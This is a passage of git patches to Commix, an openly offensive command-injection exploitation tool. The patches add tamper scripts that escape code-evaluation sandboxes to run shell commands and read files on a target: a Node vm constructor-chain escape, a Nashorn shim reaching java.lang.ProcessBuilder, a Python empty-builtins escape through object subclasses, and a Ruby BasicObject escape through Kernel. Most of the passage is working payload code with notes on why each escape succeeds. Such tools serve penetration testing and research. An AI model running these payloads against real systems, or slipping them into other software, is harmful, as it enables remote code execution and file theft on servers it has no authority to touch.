nothing here ever is. + if payload.endswith(";"): + payload = payload[:-1] + "?>" + return payload + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index c1f46430d8..6f54b89ed8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "244" +REVISION = "245" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1863,7 +1863,8 @@ class AUTH_TYPE(object): "rev": False, "cmd2loop": False, "dashlesstest": False, - "noletters": False + "noletters": False, + "phpnosymbols": False } # Execution priority for tamper scripts; each script defines its own __priority__. From 6c142e2ec5d56bdb5349c39e663af85c62ee7050 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 23 Oct 2026 08:06:24 +0300 Subject: [PATCH 0917/1023] Added new tamper script `jsvmescape.py`, escaping a Node `vm` sandbox to reach `require()` --- doc/CHANGELOG.md | 1 + src/core/controller/handler.py | 9 ++++++ src/tamper/jsvmescape.py | 51 ++++++++++++++++++++++++++++++++++ src/utils/settings.py | 5 ++-- 4 files changed, 64 insertions(+), 2 deletions(-) create mode 100644 src/tamper/jsvmescape.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1a5f4df120..66e77d24e0 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `jsvmescape.py`, escaping a Node `vm` sandbox to reach `require()`. * Fixed: PHP code injection (`--eval=php`) not closing its own statement at the default level. * Added: New tamper script `phpnosymbols.py`, rewriting a PHP eval-sink payload for filters blocking digits and quotes. * Added: New tamper script `noletters.py`, globbing a bare command name for targets blocking every letter. diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 18fff65842..fd1f850eb5 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -129,6 +129,15 @@ def _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces): def _announce_technique(injection_type, technique): settings.CURRENT_TECHNIQUE = technique checks.tamper_scripts(stored_tamper_scripts=True) + announced = (settings.CHECKING_PARAMETER, checks.technique_label(injection_type, technique)) + already_announced = settings.LAST_ANNOUNCED_TECHNIQUE == announced + # A technique retried internally - the file-based search across writable-directory candidates, + # most of all - would otherwise repeat the "Testing/Continue testing" line once per candidate. + # Said once, the same way injection_process() already holds its own repeats back. + if already_announced and settings.LAST_RESUMED_TECHNIQUE == announced: + return + if already_announced: + settings.LAST_RESUMED_TECHNIQUE = announced checks.testing_technique_title(injection_type, technique) """ diff --git a/src/tamper/jsvmescape.py b/src/tamper/jsvmescape.py new file mode 100644 index 0000000000..d207aab77b --- /dev/null +++ b/src/tamper/jsvmescape.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Reaches the payload's own require() through the constructor chain, for a sink evaluating inside a Node 'vm' sandbox rather than a plain eval(). +Notes: This tamper script works against target(s) evaluating JavaScript (i.e. option '--eval=javascript'). + A 'vm' context built from a plain object still inherits 'constructor' from the host + realm's own Object.prototype, and Function's own constructor compiles new code outside the + sandbox entirely - 'this.constructor.constructor("return process")()' hands back the real + process object, with require reachable from there. Node's own documentation says as much: + the module separates which variables a context starts with, not what the language can still + do with them. +Reference: https://ctftime.org/writeup/39027 +""" + +__tamper__ = "jsvmescape" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "javascript") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Compiled by the sandbox's own Function constructor, but outside the sandbox the moment it runs. +_ESCAPE = 'this.constructor.constructor("return process")().mainModule.' + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "javascript": + return payload + # Every require() the grammar writes is the same bare module lookup a plain eval() would resolve + # on its own - inside a vm context there is no such global, so each one is reached through the + # escape instead, in place rather than through some second payload of its own. + return payload.replace('require(', _ESCAPE + 'require(') + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 6f54b89ed8..de7c1960c1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "245" +REVISION = "246" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1864,7 +1864,8 @@ class AUTH_TYPE(object): "cmd2loop": False, "dashlesstest": False, "noletters": False, - "phpnosymbols": False + "phpnosymbols": False, + "jsvmescape": False } # Execution priority for tamper scripts; each script defines its own __priority__. From 5be2efc56e615266aee2f3eade7835649981bcdf Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 23 Oct 2026 08:11:52 +0300 Subject: [PATCH 0918/1023] Added new tamper script `nashornexec.py`, reaching a sink evaluating JavaScript through Java's Nashorn engine rather than Node --- doc/CHANGELOG.md | 1 + src/tamper/nashornexec.py | 75 +++++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 5 +-- 3 files changed, 79 insertions(+), 2 deletions(-) create mode 100644 src/tamper/nashornexec.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 66e77d24e0..99981491a4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `nashornexec.py`, reaching a sink evaluating JavaScript through Java's Nashorn engine rather than Node. * Added: New tamper script `jsvmescape.py`, escaping a Node `vm` sandbox to reach `require()`. * Fixed: PHP code injection (`--eval=php`) not closing its own statement at the default level. * Added: New tamper script `phpnosymbols.py`, rewriting a PHP eval-sink payload for filters blocking digits and quotes. diff --git a/src/tamper/nashornexec.py b/src/tamper/nashornexec.py new file mode 100644 index 0000000000..ae1af340e7 --- /dev/null +++ b/src/tamper/nashornexec.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Rewrites the grammar's require() calls into a Java-interop shim, and its one ES2019 string + method into an equivalent Nashorn actually implements, for a sink evaluating JavaScript + through Java's Nashorn engine rather than Node. +Notes: This tamper script works against target(s) evaluating JavaScript (i.e. option '--eval=javascript'). + Nashorn parses the same syntax the grammar already writes, so the payload itself needs no + change of its own - only two things it calls are missing. 'require("child_process")' and + 'require("fs")' resolve to nothing, since neither module exists outside Node; Nashorn + exposes the whole Java classpath as plain globals by default though, with no filter + configured unless the embedding application added one itself, so a shim standing in for + the module reaches a real shell through java.lang.ProcessBuilder in execSync's place, and + a real file through java.nio.file.Files in readFileSync's place. Separately, every answer + the grammar reads back is trimmed with 'trimEnd()' - added to the language in 2019, well + after the ECMAScript version Nashorn implements, where the call is simply not defined. +Reference: https://www.exploit-db.com/exploits/33028 (same shape against JRuby's own sandbox: a + blocked native call reached instead through the host language's interop) +""" + +__tamper__ = "nashornexec" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "javascript") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# One object literal standing in for whichever module require() is asked for, dispatching to the +# Java class that does the same job in Nashorn - a single expression in require()'s own place, not +# a statement ahead of it, so it drops into the concatenation the grammar already built around it. +_SHIM = ( + '(function(m){' + 'if(m=="child_process")return{execSync:function(c){' + 'var p=new java.lang.ProcessBuilder(["sh","-c",c]).redirectErrorStream(true).start();' + 'var s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\\\A");' + 'var o=s.hasNext()?s.next():"";' + 'p.waitFor();' + 'return o;' + '}};' + 'if(m=="fs")return{readFileSync:function(p){' + 'return new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(p)));' + '}};' + '})(' +) + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "javascript": + return payload + # Every require() the grammar writes opens on the same bracket regardless of the module named, + # the way the shim itself only decides which module it is once it is actually called. + payload = payload.replace('require(', _SHIM) + # The one ES2019 method the grammar relies on, rewritten to what trimming trailing whitespace + # looked like before that version - a regex substitution every ECMAScript release has had. + payload = payload.replace('.trimEnd()', '.replace(/\\s+$/,"")') + return payload + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index de7c1960c1..c0dc2fb5c6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "246" +REVISION = "247" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1865,7 +1865,8 @@ class AUTH_TYPE(object): "dashlesstest": False, "noletters": False, "phpnosymbols": False, - "jsvmescape": False + "jsvmescape": False, + "nashornexec": False } # Execution priority for tamper scripts; each script defines its own __priority__. From 1a15170da3b5dbbac069d94b10c26037cf2f8145 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 23 Oct 2026 08:12:39 +0300 Subject: [PATCH 0919/1023] Added new tamper script `pybuiltinsescape.py`, reaching a Python sink evaluated with `{"__builtins__": {}}` --- doc/CHANGELOG.md | 1 + src/core/eval/payloads/boolean_based.py | 7 ++- src/core/eval/payloads/tempfile_based.py | 7 ++- src/core/eval/payloads/time_based.py | 7 ++- src/tamper/pybuiltinsescape.py | 71 ++++++++++++++++++++++++ src/utils/settings.py | 5 +- 6 files changed, 87 insertions(+), 11 deletions(-) create mode 100644 src/tamper/pybuiltinsescape.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 99981491a4..3b69c44747 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `pybuiltinsescape.py`, reaching a Python sink evaluated with `{"__builtins__": {}}`. * Added: New tamper script `nashornexec.py`, reaching a sink evaluating JavaScript through Java's Nashorn engine rather than Node. * Added: New tamper script `jsvmescape.py`, escaping a Node `vm` sandbox to reach `require()`. * Fixed: PHP code injection (`--eval=php`) not closing its own statement at the default level. diff --git a/src/core/eval/payloads/boolean_based.py b/src/core/eval/payloads/boolean_based.py index 4812b2a792..6efaeb6035 100644 --- a/src/core/eval/payloads/boolean_based.py +++ b/src/core/eval/payloads/boolean_based.py @@ -19,10 +19,11 @@ def _output(cmd): return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.run(cmd)) -# A statement terminator - a halt()-built condition is its own complete statement regardless of -# the OS-shell separator under test, which is a different chain this one never joins. +# A statement terminator, where the boundary being tested can carry one - an expression-only sink +# (Python's 'eval()', not 'exec()') never can, and the empty separator is how that case is told +# apart from one that is actually mid-statement, the way the file-based technique already tells it. def _end(separator): - return settings.EVAL_GRAMMAR.TERMINATOR + return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" # Stated in the shell's spelling by every caller, so it is rewritten into the language's here. def _as_expression(condition): diff --git a/src/core/eval/payloads/tempfile_based.py b/src/core/eval/payloads/tempfile_based.py index a6d21ca865..15c3753cc9 100644 --- a/src/core/eval/payloads/tempfile_based.py +++ b/src/core/eval/payloads/tempfile_based.py @@ -32,10 +32,11 @@ def _write(cmd, OUTPUT_TEXTFILE): def _contents(OUTPUT_TEXTFILE): return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.read_file(OUTPUT_TEXTFILE)) -# A statement terminator - a halt()/delay()-built expression is its own complete statement -# regardless of the OS-shell separator under test, which is a different chain this one never joins. +# A statement terminator, where the boundary being tested can carry one - an expression-only sink +# (Python's 'eval()', not 'exec()') never can, and the empty separator is how that case is told +# apart from one that is actually mid-statement, the way the file-based technique already tells it. def _end(separator): - return settings.EVAL_GRAMMAR.TERMINATOR + return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" # Delay only while the condition holds: a boolean times the delay is the delay or nothing at all. def _conditional_sleep(condition, timesec, separator): diff --git a/src/core/eval/payloads/time_based.py b/src/core/eval/payloads/time_based.py index ad350de38b..0738b9f4d3 100644 --- a/src/core/eval/payloads/time_based.py +++ b/src/core/eval/payloads/time_based.py @@ -29,10 +29,11 @@ def _output(cmd): return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.run(cmd)) -# A statement terminator - a delay()-built sleep is its own complete statement regardless of -# the OS-shell separator under test, which is a different chain this one never joins. +# A statement terminator, where the boundary being tested can carry one - an expression-only sink +# (Python's 'eval()', not 'exec()') never can, and the empty separator is how that case is told +# apart from one that is actually mid-statement, the way the file-based technique already tells it. def _end(separator): - return settings.EVAL_GRAMMAR.TERMINATOR + return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" # Delay only while the condition holds: a boolean times the delay is the delay or nothing at all. def _conditional_sleep(condition, timesec, separator): diff --git a/src/tamper/pybuiltinsescape.py b/src/tamper/pybuiltinsescape.py new file mode 100644 index 0000000000..beb58b42cb --- /dev/null +++ b/src/tamper/pybuiltinsescape.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re + +from src.utils import settings +from src.core.controller import checks + +""" +About: Reaches every bare builtin the grammar calls - __import__ and open to run a command or read + a file, len/ord/chr/int to measure and compare the answer - through the subclasses of + object, for a sink evaluating Python with no builtins at all. +Notes: This tamper script works against target(s) evaluating Python (i.e. option '--eval=python'). + 'eval(value, {"__builtins__": {}})' is a common way to let a value run as code without + touching anything else on the system - but an empty __builtins__ only blocks every builtin + NAME, not the language underneath it. () .__class__.__bases__[0].__subclasses__() reaches + every class the interpreter has already loaded, through plain attribute access rather than + any builtin call of its own, and every module's own globals still carries a real + __builtins__ dict in them - Python puts one there itself, for every module there is. Only + __import__ and open get the target anything on their own, but the boolean-based and + time-based techniques never reach a comparison at all without len(), ord() and chr() too. +Notes: Written with no builtin call anywhere in the gadget itself, since an empty __builtins__ + leaves every one of them undefined too - only attribute access, indexing, a comparison and a + list comprehension, none of which are builtins to begin with. +Reference: https://www.exploit-db.com/exploits/33028 (same shape against JRuby's own sandbox: a + blocked native call reached instead through the host language's own object graph) +""" + +__tamper__ = "pybuiltinsescape" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "python") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# The first already-loaded class whose own __init__ is plain Python code rather than a compiled +# slot, so it still has __globals__ to read a real __builtins__ dict back out of. +_GADGET = ( + '[c.__init__.__globals__["__builtins__"] for c in ().__class__.__bases__[0].__subclasses__() ' + 'if c.__init__.__class__.__name__=="function" and "__builtins__" in c.__init__.__globals__][0]' +) + +# Every bare name the grammar ever calls - run()/read_file()/delay()/halt() need the first two, +# length()/ordinal()/to_number() the rest, and a sweep at a higher level still reaches for the +# last three once in a while. +_BUILTINS = ["__import__", "open", "len", "ord", "chr", "int", "str", "repr", "eval", "exec"] + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "python": + return payload + # A plain substitution would also catch, say, 'open(' inside a longer word - excluded for every + # name here by requiring nothing identifier-like just ahead of it, not only the short ones. + for name in _BUILTINS: + payload = re.sub(r'(?<![A-Za-z0-9_])' + re.escape(name) + r'\(', '(' + _GADGET + ')["' + name + '"](', payload) + return payload + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index c0dc2fb5c6..1a6c6f643e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "247" +REVISION = "248" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1866,7 +1866,8 @@ class AUTH_TYPE(object): "noletters": False, "phpnosymbols": False, "jsvmescape": False, - "nashornexec": False + "nashornexec": False, + "pybuiltinsescape": False } # Execution priority for tamper scripts; each script defines its own __priority__. From adb3a9a4a7821655cb54836df8ff11de6b87d353 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 23 Oct 2026 08:13:19 +0300 Subject: [PATCH 0920/1023] Added new tamper script `basicobjectescape.py`, reaching a Ruby sink evaluated inside a `BasicObject` --- doc/CHANGELOG.md | 1 + src/tamper/basicobjectescape.py | 50 +++++++++++++++++++++++++++++++++ src/utils/settings.py | 5 ++-- 3 files changed, 54 insertions(+), 2 deletions(-) create mode 100644 src/tamper/basicobjectescape.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3b69c44747..2c98fc61ff 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script `basicobjectescape.py`, reaching a Ruby sink evaluated inside a `BasicObject`. * Added: New tamper script `pybuiltinsescape.py`, reaching a Python sink evaluated with `{"__builtins__": {}}`. * Added: New tamper script `nashornexec.py`, reaching a sink evaluating JavaScript through Java's Nashorn engine rather than Node. * Added: New tamper script `jsvmescape.py`, escaping a Node `vm` sandbox to reach `require()`. diff --git a/src/tamper/basicobjectescape.py b/src/tamper/basicobjectescape.py new file mode 100644 index 0000000000..16be074aeb --- /dev/null +++ b/src/tamper/basicobjectescape.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Runs the payload with Kernel as self, for a sink evaluating Ruby inside a BasicObject + instance rather than a plain eval(). +Notes: This tamper script works against target(s) evaluating Ruby (i.e. option '--eval=ruby'). + 'BasicObject.new.instance_eval(value)' is a common way to let a value run as a small DSL - + a pricing rule, a feature-flag expression - without touching the rest of the application, + since BasicObject does not inherit from Object and so carries none of Kernel's methods. + The grammar's own backtick, 'sleep' and 'exit' are all Kernel methods called implicitly on + self, so every one of them is simply undefined there. 'Kernel.instance_eval{ ... }' runs + the block with self rebound to Kernel for its whole duration, and needs nothing rewritten + inside it - the backtick text the grammar already wrote keeps its own escaping exactly. +Reference: https://www.exploit-db.com/exploits/33028 (same shape against JRuby's own sandbox: a + blocked native call reached instead by changing what the call ran against) +""" + +__tamper__ = "basicobjectescape" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "ruby") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "ruby": + return payload + # One wrap around the whole expression reaches every bare Kernel call inside it at once - the + # backtick command, a 'sleep' and an 'exit' alike - rather than one rewrite per name. + return "::Kernel.instance_eval{" + payload + "}" + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 1a6c6f643e..8d40d72b22 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "248" +REVISION = "249" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1867,7 +1867,8 @@ class AUTH_TYPE(object): "phpnosymbols": False, "jsvmescape": False, "nashornexec": False, - "pybuiltinsescape": False + "pybuiltinsescape": False, + "basicobjectescape": False } # Execution priority for tamper scripts; each script defines its own __priority__. From a85c9039fbb782478199f43ab33e456307276a25 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 24 Oct 2026 08:31:44 +0300 Subject: [PATCH 0921/1023] Added categorized tamper script path resolution while preserving bare-name compatibility --- src/core/controller/checks.py | 54 +++++++++++++++---- src/core/requests/headers.py | 4 +- src/tamper/eval/__init__.py | 18 +++++++ src/tamper/eval/javascript/__init__.py | 18 +++++++ .../{ => eval/javascript}/jsvmescape.py | 0 .../{ => eval/javascript}/nashornexec.py | 0 src/tamper/eval/php/__init__.py | 18 +++++++ src/tamper/{ => eval/php}/phpconcat.py | 0 src/tamper/{ => eval/php}/phphexname.py | 0 src/tamper/{ => eval/php}/phpnoletters.py | 6 ++- src/tamper/{ => eval/php}/phpnosymbols.py | 0 src/tamper/{ => eval/php}/phpserverheaders.py | 0 src/tamper/eval/python/__init__.py | 18 +++++++ .../{ => eval/python}/pybuiltinsescape.py | 0 src/tamper/{ => eval/python}/pyhexname.py | 0 src/tamper/eval/ruby/__init__.py | 18 +++++++ .../{ => eval/ruby}/basicobjectescape.py | 0 src/tamper/misc/__init__.py | 18 +++++++ src/tamper/{ => misc}/xforwardedfor.py | 0 src/tamper/obfuscation/__init__.py | 18 +++++++ src/tamper/obfuscation/posix/__init__.py | 18 +++++++ .../{ => obfuscation/posix}/cmd2loop.py | 2 +- src/tamper/{ => obfuscation/posix}/cmd2var.py | 0 .../{ => obfuscation/posix}/cmd2wildcard.py | 0 .../{ => obfuscation/posix}/dashlesstest.py | 0 .../{ => obfuscation/posix}/noletters.py | 0 .../{ => obfuscation/posix}/printf2echo.py | 0 .../{ => obfuscation/posix}/randomcase.py | 17 +++++- src/tamper/{ => obfuscation/posix}/rev.py | 0 .../{ => obfuscation/posix}/slash2env.py | 2 +- src/tamper/obfuscation/windows/__init__.py | 18 +++++++ src/tamper/{ => obfuscation/windows}/caret.py | 0 src/tamper/quoting/__init__.py | 18 +++++++ src/tamper/quoting/generic/__init__.py | 18 +++++++ .../{ => quoting/generic}/doublequotes.py | 0 src/tamper/quoting/posix/__init__.py | 18 +++++++ src/tamper/{ => quoting/posix}/ansiquote.py | 0 .../{ => quoting/posix}/ansiquoteoctal.py | 0 src/tamper/{ => quoting/posix}/backslashes.py | 0 src/tamper/{ => quoting/posix}/backticks.py | 2 +- .../{ => quoting/posix}/dollaratsigns.py | 0 src/tamper/{ => quoting/posix}/dollarstars.py | 0 src/tamper/{ => quoting/posix}/nested.py | 0 src/tamper/{ => quoting/posix}/printfoctal.py | 0 .../{ => quoting/posix}/singlequotes.py | 0 .../{ => quoting/posix}/unicodequote.py | 0 .../posix}/uninitializedvariable.py | 0 src/tamper/timing/__init__.py | 18 +++++++ src/tamper/timing/generic/__init__.py | 18 +++++++ .../{ => timing/generic}/sleep2timeout.py | 6 +-- src/tamper/timing/posix/__init__.py | 18 +++++++ src/tamper/{ => timing/posix}/sleep2ping.py | 2 +- src/tamper/{ => timing/posix}/sleep2usleep.py | 2 +- src/tamper/whitespace/__init__.py | 18 +++++++ src/tamper/whitespace/generic/__init__.py | 18 +++++++ .../generic}/multiplespaces.py | 0 .../{ => whitespace/generic}/space2htab.py | 2 +- .../{ => whitespace/generic}/space2plus.py | 2 +- src/tamper/whitespace/posix/__init__.py | 18 +++++++ .../{ => whitespace/posix}/cmd2redir.py | 2 +- .../{ => whitespace/posix}/space2brace.py | 2 +- .../{ => whitespace/posix}/space2ifs.py | 2 +- .../{ => whitespace/posix}/space2ifsraw.py | 2 +- src/tamper/whitespace/windows/__init__.py | 18 +++++++ .../{ => whitespace/windows}/space2vtab.py | 2 +- src/utils/settings.py | 23 ++++++-- 66 files changed, 443 insertions(+), 33 deletions(-) create mode 100644 src/tamper/eval/__init__.py create mode 100644 src/tamper/eval/javascript/__init__.py rename src/tamper/{ => eval/javascript}/jsvmescape.py (100%) rename src/tamper/{ => eval/javascript}/nashornexec.py (100%) create mode 100644 src/tamper/eval/php/__init__.py rename src/tamper/{ => eval/php}/phpconcat.py (100%) rename src/tamper/{ => eval/php}/phphexname.py (100%) rename src/tamper/{ => eval/php}/phpnoletters.py (96%) rename src/tamper/{ => eval/php}/phpnosymbols.py (100%) rename src/tamper/{ => eval/php}/phpserverheaders.py (100%) create mode 100644 src/tamper/eval/python/__init__.py rename src/tamper/{ => eval/python}/pybuiltinsescape.py (100%) rename src/tamper/{ => eval/python}/pyhexname.py (100%) create mode 100644 src/tamper/eval/ruby/__init__.py rename src/tamper/{ => eval/ruby}/basicobjectescape.py (100%) create mode 100644 src/tamper/misc/__init__.py rename src/tamper/{ => misc}/xforwardedfor.py (100%) create mode 100644 src/tamper/obfuscation/__init__.py create mode 100644 src/tamper/obfuscation/posix/__init__.py rename src/tamper/{ => obfuscation/posix}/cmd2loop.py (99%) rename src/tamper/{ => obfuscation/posix}/cmd2var.py (100%) rename src/tamper/{ => obfuscation/posix}/cmd2wildcard.py (100%) rename src/tamper/{ => obfuscation/posix}/dashlesstest.py (100%) rename src/tamper/{ => obfuscation/posix}/noletters.py (100%) rename src/tamper/{ => obfuscation/posix}/printf2echo.py (100%) rename src/tamper/{ => obfuscation/posix}/randomcase.py (75%) rename src/tamper/{ => obfuscation/posix}/rev.py (100%) rename src/tamper/{ => obfuscation/posix}/slash2env.py (95%) create mode 100644 src/tamper/obfuscation/windows/__init__.py rename src/tamper/{ => obfuscation/windows}/caret.py (100%) create mode 100644 src/tamper/quoting/__init__.py create mode 100644 src/tamper/quoting/generic/__init__.py rename src/tamper/{ => quoting/generic}/doublequotes.py (100%) create mode 100644 src/tamper/quoting/posix/__init__.py rename src/tamper/{ => quoting/posix}/ansiquote.py (100%) rename src/tamper/{ => quoting/posix}/ansiquoteoctal.py (100%) rename src/tamper/{ => quoting/posix}/backslashes.py (100%) rename src/tamper/{ => quoting/posix}/backticks.py (96%) rename src/tamper/{ => quoting/posix}/dollaratsigns.py (100%) rename src/tamper/{ => quoting/posix}/dollarstars.py (100%) rename src/tamper/{ => quoting/posix}/nested.py (100%) rename src/tamper/{ => quoting/posix}/printfoctal.py (100%) rename src/tamper/{ => quoting/posix}/singlequotes.py (100%) rename src/tamper/{ => quoting/posix}/unicodequote.py (100%) rename src/tamper/{ => quoting/posix}/uninitializedvariable.py (100%) create mode 100644 src/tamper/timing/__init__.py create mode 100644 src/tamper/timing/generic/__init__.py rename src/tamper/{ => timing/generic}/sleep2timeout.py (87%) create mode 100644 src/tamper/timing/posix/__init__.py rename src/tamper/{ => timing/posix}/sleep2ping.py (98%) rename src/tamper/{ => timing/posix}/sleep2usleep.py (97%) create mode 100644 src/tamper/whitespace/__init__.py create mode 100644 src/tamper/whitespace/generic/__init__.py rename src/tamper/{ => whitespace/generic}/multiplespaces.py (100%) rename src/tamper/{ => whitespace/generic}/space2htab.py (94%) rename src/tamper/{ => whitespace/generic}/space2plus.py (95%) create mode 100644 src/tamper/whitespace/posix/__init__.py rename src/tamper/{ => whitespace/posix}/cmd2redir.py (96%) rename src/tamper/{ => whitespace/posix}/space2brace.py (98%) rename src/tamper/{ => whitespace/posix}/space2ifs.py (97%) rename src/tamper/{ => whitespace/posix}/space2ifsraw.py (96%) create mode 100644 src/tamper/whitespace/windows/__init__.py rename src/tamper/{ => whitespace/windows}/space2vtab.py (96%) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 570bcfbeec..57de468fba 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -48,7 +48,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.six.moves import html_parser as _html_parser -from src.thirdparty.colorama import Style +from src.thirdparty.colorama import Style, Fore from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list try: @@ -2539,6 +2539,40 @@ def identified_os(): elif proceed_option == "q": raise SystemExit() +""" +Where each tamper script actually lives, now that they sit under a category directory rather than +all flat in one - built once per run and kept here, since nothing moves a script mid-run. + +Keyed by the bare name every caller already uses ('nashornexec', not 'eval.javascript.nashornexec') +so '--tamper=' and everything that reads it back stays exactly as it was before the scripts had +categories at all - only this lookup, and the glob the two callers below used to do directly, needs +to know where a name's file actually is. +""" +_TAMPER_SCRIPT_PATHS = None + +def tamper_script_paths(): + global _TAMPER_SCRIPT_PATHS + if _TAMPER_SCRIPT_PATHS is None: + _TAMPER_SCRIPT_PATHS = {} + pattern = os.path.join(settings.TAMPER_SCRIPTS_PATH, "**", "*.py") + for script in sorted(glob(pattern, 